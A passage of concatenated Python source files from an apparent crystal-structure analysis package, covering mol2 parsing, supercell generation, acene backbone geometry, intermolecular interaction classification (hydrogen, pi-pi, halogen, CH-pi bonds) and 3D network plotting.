(self.atom1.interaction_dict['hydrogen_bond']['donor']))) hydrogen_within_distance = distance < config['hydrogen_bond']['dist_cutoff'] if hydrogen_donor_acceptor & hydrogen_within_distance: # Assign hydrogen bond angle # Angle between X-H--D if self.atom1.interaction_dict['hydrogen_bond']['donor']: assert len(self.atom1.neighbours) == 1 neighbour = self.atom1.neighbours[0] hbond_angle = bond_angle(neighbour,self.atom1,self.atom2) if ((hbond_angle > config['hydrogen_bond']['min_angle']) & (hbond_angle < config['hydrogen_bond']['max_angle'])): self.types['hydrogen_bond'] = 1 self.types['bond_angle'] = hbond_angle else: assert len(self.atom2.neighbours) == 1 neighbour = self.atom2.neighbours[0] hbond_angle = bond_angle(neighbour,self.atom2,self.atom1) if ((hbond_angle > config['hydrogen_bond']['min_angle']) & (hbond_angle < config['hydrogen_bond']['max_angle'])): self.types['hydrogen_bond'] = 1 self.types['bond_angle'] = hbond_angle # Assign whether pi-pi bond pi_donor_acceptor = (((self.atom1.interaction_dict['pi_pi_bond']['acceptor']) & (self.atom2.interaction_dict['pi_pi_bond']['donor'])) | ((self.atom2.interaction_dict['pi_pi_bond']['acceptor']) & (self.atom1.interaction_dict['pi_pi_bond']['donor']))) pi_within_distance = distance < config['pi_pi_bond']['dist_cutoff'] if pi_donor_acceptor & pi_within_distance: # Calculate bond angle # Angle between pi-pi bond and plane of ring1 pi_plane1 = Plane(self.atom1.ring_atoms) pi_plane2 = Plane(self.atom2.ring_atoms) pi_bond_angle = pi_plane1.plane_angle(pi_plane2) # Calcaulating offset disp = self.atom2.coordinates - self.atom1.coordinates if self.atom1.has_vectors: basis = self.atom1.vectors else: self.atom1.get_vectors() basis = self.atom1.vectors mol_disp = calc_lstsq_displacement(disp, basis) if np.sqrt(mol_disp[0]**2 + mol_disp[2]**2) < config['pi_pi_bond']['max_offset']: if pi_bond_angle > 90: pi_bond_angle = 180 - pi_bond_angle pi_within_angle = ((pi_bond_angle > config['pi_pi_bond']['min_angle']) & (pi_bond_angle < config['pi_pi_bond']['max_angle'])) if pi_within_angle: self.types['pi_pi_bond'] = 1 self.types['bond_angle'] = pi_bond_angle # Assign whether halogen bond halogen_donor_acceptor = (((self.atom1.interaction_dict['halogen_bond']['acceptor']) & (self.atom2.interaction_dict['halogen_bond']['donor'])) | ((self.atom2.interaction_dict['halogen_bond']['acceptor']) & (self.atom1.interaction_dict['halogen_bond']['donor']))) halogen_within_distance = distance < config['halogen_bond']['dist_cutoff'] if halogen_donor_acceptor & halogen_within_distance: if len(self.atom1.neighbours) == 1: neighbour = self.atom1.neighbours[0] theta1 = bond_angle(neighbour,self.atom1,self.atom2) self.types['theta1'] = theta1 if np.isclose(theta1, 90, atol=30) | np.isclose(theta1, 180, atol=30): self.types['halogen_bond'] = 1 if len(self.atom2.neighbours) == 1: neighbour = self.atom2.neighbours[0] theta2 = bond_angle(neighbour,self.atom2,self.atom1) self.types['theta2'] = theta2 if np.isclose(theta2, 90, atol=30) | np.isclose(theta2, 180, atol=30): self.types['halogen_bond'] = 1 # Assign whether CH-pi bond ch_pi_donor_acceptor = (((self.atom1.interaction_dict['ch_pi_bond']['acceptor']) & (self.atom2.interaction_dict['ch_pi_bond']['donor'])) | ((self.atom2.interaction_dict['ch_pi_bond']['acceptor']) & (self.atom1.interaction_dict['ch_pi_bond']['donor']))) ch_pi_within_distance = distance < config['ch_pi_bond']['dist_cutoff'] if ch_pi_donor_acceptor & ch_pi_within_distance: # Calculate Bond Angle # angle between H-pi bond vector and plane of the ring if self.atom1.interaction_dict['ch_pi_bond']['acceptor']: pi_plane = Plane(self.atom1.ring_atoms) pi_norm = np.array([pi_plane.a,pi_plane.b,pi_plane.c]) disp = self.atom2.coordinates - self.atom1.coordinates pi_bond_angle = np.degrees(np.arccos(disp.dot(pi_norm)/(np.sqrt(disp.dot(disp))*np.sqrt(pi_norm.dot(pi_norm))))) if pi_bond_angle > 90: pi_bond_angle = 180 - pi_bond_angle pi_within_angle = ((pi_bond_angle > config['ch_pi_bond']['min_angle']) & (pi_bond_angle < config['ch_pi_bond']['max_angle'])) if pi_within_angle: self.types['ch_pi_bond'] = 1 self.types['bond_angle'] = pi_bond_angle else: pi_plane = Plane(self.atom2.ring_atoms) pi_norm = np.array([pi_plane.a,pi_plane.b,pi_plane.c]) disp = self.atom2.coordinates - self.atom1.coordinates pi_bond_angle = np.degrees(np.arccos(disp.dot(pi_norm)/(np.sqrt(disp.dot(disp))*np.sqrt(pi_norm.dot(pi_norm))))) if pi_bond_angle > 90: pi_bond_angle = 180 - pi_bond_angle pi_within_angle = ((pi_bond_angle > config['ch_pi_bond']['min_angle']) & (pi_bond_angle < config['ch_pi_bond']['max_angle'])) if pi_within_angle: self.types['ch_pi_bond'] = 1 self.types['bond_angle'] = pi_bond_angle # Hydrophobic Interactions hydrophobic_donor_acceptor = (((self.atom1.interaction_dict['hydrophobic_cc_bond']['acceptor']) & (self.atom2.interaction_dict['hydrophobic_cc_bond']['donor'])) | ((self.atom2.interaction_dict['hydrophobic_cc_bond']['acceptor']) & (self.atom1.interaction_dict['hydrophobic_cc_bond']['donor']))) hydrophobic_within_distance = distance < config['hydrophobic_cc_bond']['dist_cutoff'] if hydrophobic_donor_acceptor & hydrophobic_within_distance: self.types['hydrophobic_cc_bond'] = 1 def to_dict(self): info_dict = {'atom1_symbol':self.atom1.symbol,'atom2_symbol':self.atom2.symbol,'dist':self.length(),'vdw_sum':self.vdw_sum, 'vdw_contact':self.vdw_contact,'vdw_distance':self.vdw_distance} info_dict.update(self.types) return info_dict def length(self): disp = self.atom2.coordinates - self.atom1.coordinates return np.sqrt(disp.dot(disp)) --- FILE SEPARATOR --- ''' File to store Molecule class and classes that inherit it such as Acene, Helicene, etc. Molecule Class Attributes - atoms; list; list of atom objects - bonds; list; list of bond objects - ring_atoms; nested list; list of lists of atom objects in rings in molecule - ring_bonds; nested_list; list of lists of bond objects in rings in molecule - rings; list; list of Molecule objects of the all rings in the molecule - pseudo_atoms; list; list of 'pseudo atoms' in the molecule e.g. ring centroids; note appropriate methods must be called to populate Methods - assign_atom_bonds(); return None; assigns bonds attribute to atom objects in the molecule - assign_atom_neighbours(); return None; assigns atom_neighbours attribute to atom objects in the Molecule - assign_rings(); return None; finds rings and assigns them to rings attribute - add_rings_as_pseudo(); return None; adds ring centroids as 'ring' atom objects - centre_of_geometry(); return np.array; returns the centre of geometry of the molecule - to_nx_graph(); return Networkx graph object; converts the molecule to an nx graph object with atoms as nodes and bonds as edges - get_fused_ring_systems(); return list; returns a list of fused ring systems in the molecule e.g. acene backbone - to_xyz(filename); return None; saves the moleucule as an xyz file - get_components(); return list; returns a list of non-bonded molecules in molecule object ''' import numpy as np import networkx as nx from .Bond import Bond from .Atom import Atom, RingCentroid from .Interaction import * from .Geometry import * import pandas as pd class Molecule(): def __init__(self,atoms=[],bonds=[]): self.atoms = atoms self.bonds = bonds self.ring_atoms = [] self.ring_bonds = [] self.rings = [] def assign_atom_bonds(self): for bond in self.bonds: for atom in bond.atoms: atom.bonds.append(bond) def get_ring_atoms(self): if len(self.ring_atoms) > 0: return self.ring_atoms else: self.assign_rings() return self.ring_atoms def assign_atoms_interaction_dict(self): for atom in self.atoms: atom.interaction_dict = assign_atom_interaction_dict(atom) def assign_rings(self): self.ring_atoms = nx.cycle_basis(self.to_nx_graph()) self.ring_bonds = [] self.rings = [] for ring in self.ring_atoms: ring_bonds = [] for bond in self.bonds: if np.sum(np.isin(bond.atoms,ring)) == 2: ring_bonds.append(bond) else: continue self.ring_bonds.append(ring_bonds) for ring_atoms, ring_bonds in zip(self.ring_atoms,self.ring_bonds): ring = Molecule(ring_atoms,ring_bonds) self.rings.append(ring) def assign_atom_neighbours(self): for atom in self.atoms: for bond in atom.bonds: for neighbour in bond.atoms: atom.neighbours.append(neighbour) if neighbour != atom else 0 def add_rings_as_atoms(self): # Need to update this function to differentiate between aromatic and aliphatic rings # Atm no need as we are working with fully conjugated acene dataset if len(self.ring_atoms) == 0: self.assign_rings() ring_count = 1 for atoms, bonds in zip(self.ring_atoms,self.ring_bonds): temp_mol = Molecule(atoms,bonds) cog = temp_mol.centre_of_geometry() bond_lengths = [bond.length() for bond in bonds] if np.mean(bond_lengths) < 1.45: pseudo_atom = RingCentroid(ring_atoms=atoms,atom_symbol='ring',atom_type='aromatic',coordinates=cog,label=f'ring{ring_count}') else: pseudo_atom = RingCentroid(ring_atoms=atoms,atom_symbol='ring',atom_type='aliphatic',coordinates=cog,label=f'ring{ring_count}') self.atoms.append(pseudo_atom) def get_fused_ring_systems(self): all_fused_ring_systems = Molecule([atom for ring in self.ring_atoms for atom in ring], [bond for ring in self.ring_bonds for bond in ring]) return all_fused_ring_systems.get_components() def to_nx_graph(self): G = nx.Graph() for atom in self.atoms: G.add_node(atom) for bond in self.bonds: G.add_edge(bond.atom1,bond.atom2,order=bond.order) return G def centre_of_geometry(self,ignore_rings=True): atom_positions = [] for atom in self.atoms: if ignore_rings: if atom.symbol == 'ring': continue atom_positions.append(atom.coordinates) atom_positions = np.array(atom_positions) atom_positions = atom_positions.reshape(atom_positions.shape[0],3) return np.mean(atom_positions,axis=0) def test_planarity(self): mol_plane = Plane(self.atoms) devs = [mol_plane.point_distance(atom) for atom in self.atoms] if np.mean(devs) > 1: return False else: return True def to_mol2(self): pass def get_components(self): g = nx.Graph() for atom in self.atoms: g.add_node(atom) for bond in self.bonds: g.add_edge(bond.atom1,bond.atom2,order=bond.order) subgraphs = [g.subgraph(c) for c in nx.connected_components(g)] molecules = [] for graph in subgraphs: bonds = [] for edge in graph.edges: bonds.append(Bond(edge[0],edge[1],g[edge[0]][edge[1]]['order'])) mol = Molecule(list(graph.nodes),bonds) molecules.append(mol) return molecules def to_xyz(self,filename): atom_symbols = np.array([atom.symbol for atom in self.atoms]) unique_atoms = np.unique(atom_symbols) atom_count_dict = {} for unique_atom in unique_atoms: atom_count_dict[unique_atom] = np.sum(np.isin(atom_symbols,unique_atom)) with open(f'{filename}.xyz','w') as file: file.write(f'{len(self.atoms)}\n') for key in atom_count_dict.keys(): file.write(f'{key}{atom_count_dict[key]} ') file.write('\n') for atom in self.atoms: coords = atom.coordinates file.write(f'{atom.symbol} {coords[0]} {coords[1]} {coords[2]}\n') return None class Acene(Molecule): def __init__(self,molecule): self.atoms = [atom for atom in molecule.atoms] self.bonds = [bond for bond in molecule.bonds] self.ring_atoms = [ring_atom for ring_atom in molecule.ring_atoms] self.ring_bonds = [ring_bond for ring_bond in molecule.ring_bonds] self.rings = [ring for ring in molecule.rings] def get_backbone(self): fused_ring_systems = self.get_fused_ring_systems() biggest_frs_size = 0 for frs in fused_ring_systems: n_rings = len(frs.get_ring_atoms()) if n_rings == np.max([biggest_frs_size,n_rings]): biggest_frs = frs biggest_frs_size = n_rings return Acene(biggest_frs) def get_peripheries(self): pass def get_substitution_positions(self): pass def get_backbone_heteroatoms(self): pass def get_vectors(self, return_xmag = False): # returns vectors corresponding to directions in terms of acene molecule, all scaled to 1A # x axis is the vector between ring centroids in the backbone # y axis orthogonal to the plane of the acene molecule # z axis is the vector that is the width of the acene # These three vectors makes an orthogonal basis set for R3 # x and y vectors angle < 90.3, so approximately right angles bb = self.get_backbone() bb_cog = bb.centre_of_geometry() plane = Plane(bb.atoms) bb.assign_rings() ring_centroids = [] ring_centroid_distances = [] for ring in bb.rings: ring_cog = ring.centre_of_geometry() ring_disp = ring_cog - bb_cog ring_dist = np.sqrt(ring_disp.dot(ring_disp)) ring_centroids.append(ring_cog) ring_centroid_distances.append(ring_dist) df = pd.DataFrame([ring_centroids,ring_centroid_distances]).T df.columns= ['centroid','cog_distance'] df.sort_values('cog_distance',ascending=True,inplace=True) terminal_centroids = df.centroid[-2:].values o_trc = terminal_centroids[-2] - terminal_centroids[-1] normal = np.array([plane.a,plane.b,plane.c]) theta = np.arccos((o_trc.dot(normal))/(np.sqrt(o_trc.dot(o_trc))*np.sqrt(normal.dot(normal)))) if theta == np.pi/2: x_vect = o_trc else: x_vect = o_trc*np.sin(theta) y_vect = normal x_mag = np.sqrt(x_vect.dot(x_vect)) y_mag = np.sqrt(y_vect.dot(y_vect)) z_vect = np.cross(x_vect,y_vect) z_mag = np.sqrt(z_vect.dot(z_vect)) for i, x in enumerate(x_vect): x_vect[i] = x * 1/x_mag for i, y in enumerate(y_vect): y_vect[i] = y * 1/y_mag for i, z in enumerate(z_vect): z_vect[i] = z * 1/z_mag if return_xmag: return np.vstack([x_vect, y_vect, z_vect]), x_mag else: return np.vstack([x_vect, y_vect, z_vect]) def label_backbone(self): pass --- FILE SEPARATOR --- import networkx as nx from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import numpy as np import pandas as pd def network_plot_3D(G, angle, save=False): # from https://www.idtools.com.au/3d-network-graphs-python-mplot3d-toolkit/ colours = ['black', 'firebrick', 'saddlebrown', 'darkorange', 'darkgreen', 'dodgerblue', 'lightslategrey', 'midnightblue', 'fuchsia'] # Get node positions pos = nx.get_node_attributes(G, 'pos') # Get number of nodes n = G.number_of_nodes() # Get the maximum number of edges adjacent to a single node edge_max = max([G.degree(key) for key in pos.keys()]) # Define color range proportional to number of edges adjacent to a single node colors = [plt.cm.plasma(G.degree(key)/edge_max) for key in pos.keys()] # Get edge type indices for each edge unique_edges = [] edge_info = [] for x in G.edges.data('info'): unique_edges.append(x[2]) if x[2] not in edge_info else 0 edge_info.append(x[2]) edge_types = [unique_edges.index(edge[2]) for edge in G.edges.data('info')] # 3D network plot with plt.style.context(('ggplot')): fig = plt.figure(figsize=(8,5)) ax = Axes3D(fig) # Loop on the pos dictionary to extract the x,y,z coordinates of each node counter = 0 for key, value in pos.items(): xi = value[0] yi = value[1] zi = value[2] # Scatter plot ax.scatter(xi, yi, zi, color='black', s=20, edgecolors='k', alpha=0.7) counter += 1 # Loop on the list of edges to get the x,y,z, coordinates of the connected nodes # Those two points are the extrema of the line to be plotted edges_encountered = [] labels = [] for i,j in enumerate(G.edges()): x = np.array((pos[j[0]][0], pos[j[1]][0])) y = np.array((pos[j[0]][1], pos[j[1]][1])) z = np.array((pos[j[0]][2], pos[j[1]][2])) # Plot the connecting lines if edge_types[i] not in edges_encountered: ax.plot(x, y, z, c=colours[edge_types[i]],alpha=0.5, label=edge_info[i]) edges_encountered.append(edge_types[i]) else: ax.plot(x, y, z, c=colours[edge_types[i]], alpha=0.5) plt.legend(loc="lower center") # Label Diagram #ax.set_xlabel('a (Angstrom)') #ax.set_ylabel('b (Angstrom)') #ax.set_zlabel('c (Angstrom)') # Set the initial view ax.view_init(30, angle) # Remove axis, make background colour white and remove grid ax.set_axis_off() ax.set_facecolor("white") # Bonus: To get rid of the grid as well: ax.grid(False) plt.show() return def create_crystal_graph_central(molecule_interactions,consider_interactions='all'): all_mol_interactions = molecule_interactions.set_index(['mol1s','mol2s']) mol_interactions = all_mol_interactions.dropna(axis=0,how='any') idx1 = mol_interactions.index.get_level_values(0)[-1] g = nx.Graph() g.add_node(idx1,pos=np.array([0,0,0])) for idx in mol_interactions.index: disp = mol_interactions.loc[idx,['a','b','c']].values if idx[0] != idx1: disp = disp*-1 dist = mol_interactions.at[idx,'dists'] if consider_interactions == 'all': interactions = mol_interactions.loc[idx,['vdw_contact','hydrogen_bond','pi_pi_bond', 'halogen_bond','ch_pi_bond','hydrophobic_cc_bond']] else: interactions = mol_interactions.loc[idx,consider_interactions] angle = mol_interactions.at[idx,'interplanar_angles'] if np.sum(interactions.values) > 0 : if idx[1] not in g: g.add_node(idx[1],pos=disp) if idx[0] not in g: g.add_node(idx[0],pos=disp) info = interactions.to_dict() info.update({'angle':np.round(angle,-1),'dist':np.round(dist,3)}) g.add_edge(idx[0],idx[1],info=info) return g def create_crystal_graph(molecule_interactions,consider_interactions='all'): # Add interactions between all relevant molecules. Only calculated for central molecules before mol_interactions = molecule_interactions.set_index(['mol1s','mol2s']) index = mol_interactions.index contact_info = mol_interactions.dropna(axis=0,how='any') contact_info = contact_info.filter(['dists','vdw_contact','hydrogen_bond','pi_pi_bond', 'halogen_bond','ch_pi_bond','hydrophobic_cc_bond']) contact_info.drop_duplicates('dists',keep='first',inplace=True) mol_interactions.drop(['vdw_contact','hydrogen_bond','pi_pi_bond', 'halogen_bond','ch_pi_bond','hydrophobic_cc_bond'],inplace=True,axis=1) mol_interactions = pd.merge(mol_interactions,contact_info,on='dists',how='left') mol_interactions.fillna(0,inplace=True) mol_interactions.set_index(index,inplace=True) # Create Crystal Graph g = nx.Graph() idx1 = molecule_interactions.mol1s[0] g.add_node(idx1,pos=np.array([0,0,0])) for idx in mol_interactions.index: disp = mol_interactions.loc[idx,['a','b','c']].values dist = mol_interactions.at[idx,'dists'] if consider_interactions == 'all': interactions = mol_interactions.loc[idx,['vdw_contact','hydrogen_bond','pi_pi_bond', 'halogen_bond','ch_pi_bond','hydrophobic_cc_bond']] else: interactions = mol_interactions.loc[idx,consider_interactions] angle = mol_interactions.at[idx,'interplanar_angles'] if idx[1] not in g: g.add_node(idx[1],pos=disp) if ((np.sum(interactions.values) > 0)): info = interactions.to_dict() info.update({'angle':np.round(angle,-1),'dist':np.round(dist,3)}) g.add_edge(idx[0],idx[1],info=info) return g def draw_ellipsoid(crystal, molecule_pair, atom_pairs): intermolecular_atom_pairs = [[pair[0].coordinates,pair[1].coordinates] for pair in atom_pairs] atoms = [atom for pair in atom_pairs for atom in pair] molecules = [crystal.molecules[molecule_pair[0]],crystal.molecules[molecule_pair[1]]] colours = {'H':'white', 'N':'blue', 'C':'grey', 'S':'yellow', 'ring':'purple'} with plt.style.context(('ggplot')): fig = plt.figure(figsize=(8,5)) ax = fig.gca(projection='3d') # Plot the molecules for mol in molecules: for atom in mol.atoms: x, y, z = atom.coordinates ax.scatter(x,y,z,color = colours[atom.symbol],edgecolor='k') for neighbour in atom.neighbours: xn, yn, zn = neighbour.coordinates ax.plot([x,xn],[y,yn],[z,zn],color='grey') # Plot the intermolecular bonds for pair in intermolecular_atom_pairs: x = [pair[0][0],pair[1][0]] y = [pair[0][1],pair[1][1]] z = [pair[0][2],pair[1][2]] ax.plot(x,y,z,color='grey',linestyle='dashed') # Plot ellipsoid A, centroid = mvee(atoms) U, D, V = la.svd(A) rx, ry, rz = 1./np.sqrt(D) u, v = np.mgrid[0:2*pi:20j, -pi/2:pi/2:10j] E = np.dstack(ellipse(rx,ry,rz)) E = np.dot(E,V) + centroid x, y, z = np.rollaxis(E, axis = -1) ax.plot_surface(x, y, z, cstride = 1, rstride = 1, alpha = 0.5) ax.set_axis_off() ax.set_facecolor("azure") # Bonus: To get rid of the grid as well: ax.grid(False) plt.tight_layout() plt.show() --- FILE SEPARATOR --- ''' File for file preparation and Mol2Reader class ''' from pymatgen.io.cif import CifParser from pymatgen.io.xyz import XYZ from openbabel import openbabel import numpy as np import pandas as pd import networkx as nx from .Atom import Atom from .Bond import Bond from .Molecule import Molecule from .Interaction import * import os def Cif2Supercell(input_path,supercell_size,occupancy_tolerance=1, output_filename='supercell',output_path='.'): # Read in Cif file and create supercell. Save as XYZ file if not os.path.exists(output_path): os.mkdir(output_path) read_cif = CifParser(input_path,occupancy_tolerance=occupancy_tolerance) struc = read_cif.get_structures()[0] struc.make_supercell(supercell_size, to_unit_cell=False) xyzrep = XYZ(struc) xyzrep.write_file(f"{output_path}/{output_filename}.xyz") # write supercell to file # Convert supercell to Mol2 format obConversion = openbabel.OBConversion() obConversion.SetInAndOutFormats("xyz", "mol2") mol = openbabel.OBMol() obConversion.ReadFile(mol, f"{output_path}/{output_filename}.xyz") # Open Babel will uncompress automatically mol.AddHydrogens() obConversion.WriteFile(mol, f'{output_path}/{output_filename}.mol2') class Mol2Reader(): def __init__(self,path): self.path = path def read(self): file = open(self.path).readlines() tripos = '' g = nx.Graph() atom_count = 1 # Parse the mol2 file for line in file: if '@<TRIPOS>' in line: if 'ATOM' in line: tripos = 'atom' continue elif 'BOND' in line: tripos = 'bond' continue else: tripos = -1 continue if tripos == 'atom': this_line = self.line_to_list(line) atom_node = Atom(atom_symbol=this_line[1],atom_type=this_line[5], coordinates=np.array([this_line[2],this_line[3],this_line[4]]), label=f'{this_line[1]}{this_line[0]}') g.add_node(atom_count,data=atom_node) atom_count += 1 if tripos == 'bond': this_line = self.line_to_list(line) bond_edge = Bond(atom1=g.nodes[this_line[1]]['data'],atom2=g.nodes[this_line[2]]['data'],order=this_line[3]) # Add bonds and neighbours to atoms g.nodes[this_line[1]]['data'].bonds.append(bond_edge) g.nodes[this_line[1]]['data'].neighbours.append(g.nodes[this_line[2]]['data']) g.nodes[this_line[2]]['data'].bonds.append(bond_edge) g.nodes[this_line[2]]['data'].neighbours.append(g.nodes[this_line[1]]['data']) g.add_edge(this_line[1],this_line[2],data=bond_edge) # Retrieve subgraphs subgraphs = [g.subgraph(c) for c in nx.connected_components(g)] max_nodes = max([len(subgraph.nodes) for subgraph in subgraphs]) subgraphs = [subgraph for subgraph in subgraphs if len(subgraph.nodes) == max_nodes] molecules = [] for graph in subgraphs: molecules.append(Molecule([node[1]['data'] for node in graph.nodes(data=True)], [edge[2]['data'] for edge in graph.edges(data=True)])) return molecules def line_to_list(self,line): line = line.replace(' ',',') line+=(',') line_list = [] temp_string = '' for char in line: if ((char == ',') & (temp_string != '')): try: if '.' in temp_string: line_list.append(np.float(temp_string)) temp_string = '' else: line_list.append(np.int(temp_string)) temp_string = '' except: line_list.append(temp_string) temp_string = '' else: temp_string += char if char != ',' else '' return line_list --- FILE SEPARATOR --- # File with example functions for generating data using the rest of the packages # Basically a script file from Atom import * from Bond import * from Crystal import * from Geometry import * from Interaction import * from io import * from Molecule import * from Viz import * def calc_intermolecular_atom_distances(crystal): ''' Calculates all interatomic atom atom distances in a crystal structure calculates distances on batch between central molecules and a neighbour molecule, rather than a simple nested for loop calculates distances in batches between atom i in central molecule and atom (i - x) in neighbour returns a dataframe with all atom atom distances < 10A in the crystal structure ''' # Calculate Atom Distances from central molecule central_molecule, central_idx = crystal.get_central_molecule(return_idx=True) central_atom_coords = np.array([atom.coordinates for atom in central_molecule.atoms]) # shape = (n_atoms,3) all_atom_coords = [] for mol in crystal.molecules: all_atom_coords.append(np.array([atom.coordinates for atom in mol.atoms])) all_atom_coords = np.array(all_atom_coords) # shape = (n_mols,n_atoms,3) dists = [] mol1s = [] mol2s = [] for i, mol_coords in enumerate(all_atom_coords): temp_dist = [] for x in range(len(mol_coords)): mol1s += [central_idx]*len(mol_coords) mol2s += [i]*len(mol_coords) disp = mol_coords - central_atom_coords # shape = (n_atoms,3) dist2 = disp[:,0] * disp[:,0] + disp[:,1] * disp[:,1] + disp[:,2] * disp[:,2] dist = np.sqrt(dist2) # shape = (n_atoms) temp_dist.append(dist) mol_coords = np.roll(mol_coords,-1,axis=0) dists.append(temp_dist) dists = np.array(dists) # shape = (n_molecules,x_atoms,y_atoms) | where y in y_atoms = dist(atom_x_central - atom_y_mol_n) # Put distances in order of atom indices in_atom_order = np.array([dist.flatten('F') for dist in dists]).reshape(-1) d1 = dists.shape[0] d2 = dists.shape[1] arange = np.arange(d2) atom1s = np.concatenate([[x]*d2 for x in range(d2)]*d1) atom2s = np.concatenate([np.roll(arange,-x) for x in range(d2)]*d1) #atom2s = np.concatenate([[x for x in range(d2)]*d2]*d1) # Turn Atom Distances to DataFrame data_dict= {'mol1s':mol1s,'mol2s':mol2s,'atom1s':atom1s,'atom2s':atom2s,'dists':in_atom_order} atom_dist_df = pd.DataFrame(data_dict) atom_dist_df = atom_dist_df[atom_dist_df.mol1s != atom_dist_df.mol2s] atom_dist_df = atom_dist_df.loc[atom_dist_df.dists <= 10] return atom_dist_df def add_interactions(atom_dist_df,crystal): ''' Add intermolecular interaction types to bond distances ''' atom_dicts = [] for idx in atom_dist_df.index: m1_idx = atom_dist_df.at[idx,'mol1s'] m2_idx = atom_dist_df.at[idx,'mol2s'] a1_idx = atom_dist_df.at[idx,'atom1s'] a2_idx = atom_dist_df.at[idx,'atom2s'] atom1 = crystal.molecules[m1_idx].atoms[a1_idx] atom2 = crystal.molecules[m2_idx].atoms[a2_idx] disp = atom2.coordinates - atom1.coordinates dist = np.sqrt(disp.dot(disp)) atom_dict = {'mol1s':m1_idx,'mol2s':m2_idx,'atom1':a1_idx,'atom2':a2_idx,'dist':dist} interaction = Interaction(atom1,atom2) atom_dict.update(interaction.to_dict()) atom_dicts.append(atom_dict) atom_df = pd.DataFrame(atom_dicts) return atom_df.set_index(['mol1s','mol2s']) def calc_geometric_interactions(crystal): # Calculate Molecular Distances, Angles, Displacement all_mols = [] for mol in crystal.molecules: all_mols.append(mol.centre_of_geometry()) all_mols = np.array(all_mols) cog_disps = [] cog_dists = [] cog_mol1s = [] cog_mol2s = [] interplanar_angles = [] unit_cell_disps = [] planes = [] # Rather than making new planes every loop, make the set of planes once for mol in crystal.molecules: planes.append(Plane(mol.get_backbone().atoms)) # Loop through all pairs of molecules for i, arr1 in enumerate(all_mols[:-1]): for j, arr2 in enumerate(all_mols[i+1:],i+1): interplanar_angles.append((planes[i].plane_angle(planes[j]))) cog_mol1s.append(i) cog_mol2s.append(j) disp = arr2 - arr1 unit_cell_disps.append(disp) dist = np.sqrt(disp.dot(disp)) cog_disps.append(disp) cog_dists.append(dist) # Turn lists to arrays unit_cell_disps = np.array(unit_cell_disps) cog_dists = np.array(cog_dists) # Create Molecule Geometry to DataFrame data_dict= {'mol1s':cog_mol1s,'mol2s':cog_mol2s, 'a':unit_cell_disps[:,0],'b':unit_cell_disps[:,1],'c':unit_cell_disps[:,2], 'dists':cog_dists,'interplanar_angles':interplanar_angles} df_cogs = np.round(pd.DataFrame(data_dict).set_index(['mol1s','mol2s']),3) return df_cogs def combine_topology_geometry(interaction_df,geometry_df): # Add to df_cogs hbond_bond = pd.DataFrame(interaction_df.groupby(interaction_df.index)['hydrogen_bond'].sum()).set_index(interaction_df.index.unique()) pi_pi_bond = pd.DataFrame(interaction_df.groupby(interaction_df.index)['pi_pi_bond'].sum()).set_index(interaction_df.index.unique()) halogen_bond = pd.DataFrame(interaction_df.groupby(interaction_df.index)['halogen_bond'].sum()).set_index(interaction_df.index.unique()) ch_pi_bond = pd.DataFrame(interaction_df.groupby(interaction_df.index)['ch_pi_bond'].sum()).set_index(interaction_df.index.unique()) hydrophobic_bond = pd.DataFrame(interaction_df.groupby(interaction_df.index)['hydrophobic_cc_bond'].sum()).set_index(interaction_df.index.unique()) vdw_contact = pd.DataFrame(interaction_df.groupby(interaction_df.index)['vdw_contact'].sum()).set_index(interaction_df.index.unique()) fin_df = pd.concat([geometry_df,vdw_contact,hbond_bond,pi_pi_bond,halogen_bond,ch_pi_bond, hydrophobic_bond],axis=1) # Align interactions properly to remove double counting of indices double_counted = fin_df.loc[fin_df.index.get_level_values(0) > fin_df.index.get_level_values(1)] double_counted = double_counted[['vdw_contact','hydrogen_bond','pi_pi_bond','halogen_bond', 'ch_pi_bond','hydrophobic_cc_bond']] fin_df.drop(double_counted.index,axis=0,inplace=True) arrays = [double_counted.index.get_level_values(1),double_counted.index.get_level_values(0)] tuples = list(zip(*arrays)) double_counted.index = pd.MultiIndex.from_tuples(tuples, names=["mol1s", "mol2s"]) fin_df.loc[double_counted.index,double_counted.columns] = double_counted return fin_df --- FILE SEPARATOR --- # Testing Crystal Interactions Finder HH with example script from PYTHON.io import * from PYTHON.Atom import * from PYTHON.Bond import * from PYTHON.Molecule import * from PYTHON.Crystal import * from PYTHON.Interaction import * from PYTHON.Geometry import * from PYTHON.Viz import * import pandas as pd import numpy as np import networkx as nx from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt from datetime import datetime ''' This example script creates a 5*5*5 supercell from a chosen CIF and calculates: 1) Atomic distances between atoms in the central molecule and atoms in every other molecule 2) The geometric relations between all pairs of molecules in the crystal e.g. displacement, distance, inteprlanar angle 3) The supramolecular interactions present in the central molecule to its neighbours 4) Saves the atomic interactions and molecular interactions as a csv file This script can be incorporated into a for loop and run on a large dataset. You may want to tweak the supercell size to 4*4*4 for time considerations ''' start = datetime.now() # Generate Supercell from cif Cif2Supercell('CEKGAB.cif',supercell_size=[[4,0,0],[0,4,0],[0,0,4]],output_filename='supercell',output_path='.') # Read in mol2 and generate list of Molecule objects mol2_reader = Mol2Reader('supercell.mol2') mols = mol2_reader.read() # As we are working with acenes and aromatic rings we need to do some preprocessing acenes = [] for mol in mols: mol.add_rings_as_atoms() mol.assign_atoms_interaction_dict() acenes.append(Acene(mol)) crystal = Crystal(acenes) # Atom Distances from central molecule to all other molecules in the Crystal central_molecule, central_idx = crystal.get_central_molecule(return_idx=True) central_cog = central_molecule.centre_of_geometry() central_atom_coords = np.array([atom.coordinates for atom in central_molecule.atoms]) # shape = (n_atoms,3) all_atom_coords = [] for mol in crystal.molecules: all_atom_coords.append(np.array([atom.coordinates for atom in mol.atoms])) all_atom_coords = np.array(all_atom_coords) # shape = (n_mols,n_atoms,3) dists = [] mol1s = [] mol2s = [] for i, mol_coords in enumerate(all_atom_coords): # Distances are done on batch between molecule i atom j and molecule k atom j + x instead of 1 by 1 temp_dist = [] for x in range(len(mol_coords)): mol1s += [central_idx]*len(mol_coords) mol2s += [i]*len(mol_coords) disp = mol_coords - central_atom_coords # shape = (n_atoms,3) dist2 = disp[:,0] * disp[:,0] + disp[:,1] * disp[:,1] + disp[:,2] * disp[:,2] dist = np.sqrt(dist2) # shape = (n_atoms) temp_dist.append(dist) mol_coords = np.roll(mol_coords,-1,axis=0) dists.append(temp_dist) dists = np.array(dists) # shape = (n_molecules,x_atoms,y_atoms) | where y in y_atoms = dist(atom_x_central - atom_y_mol_n) ## Organise distances with molecule and atom index for good book-keeping and easy reference later in_atom_order = np.array([dist.flatten('F') for dist in dists]).reshape(-1) 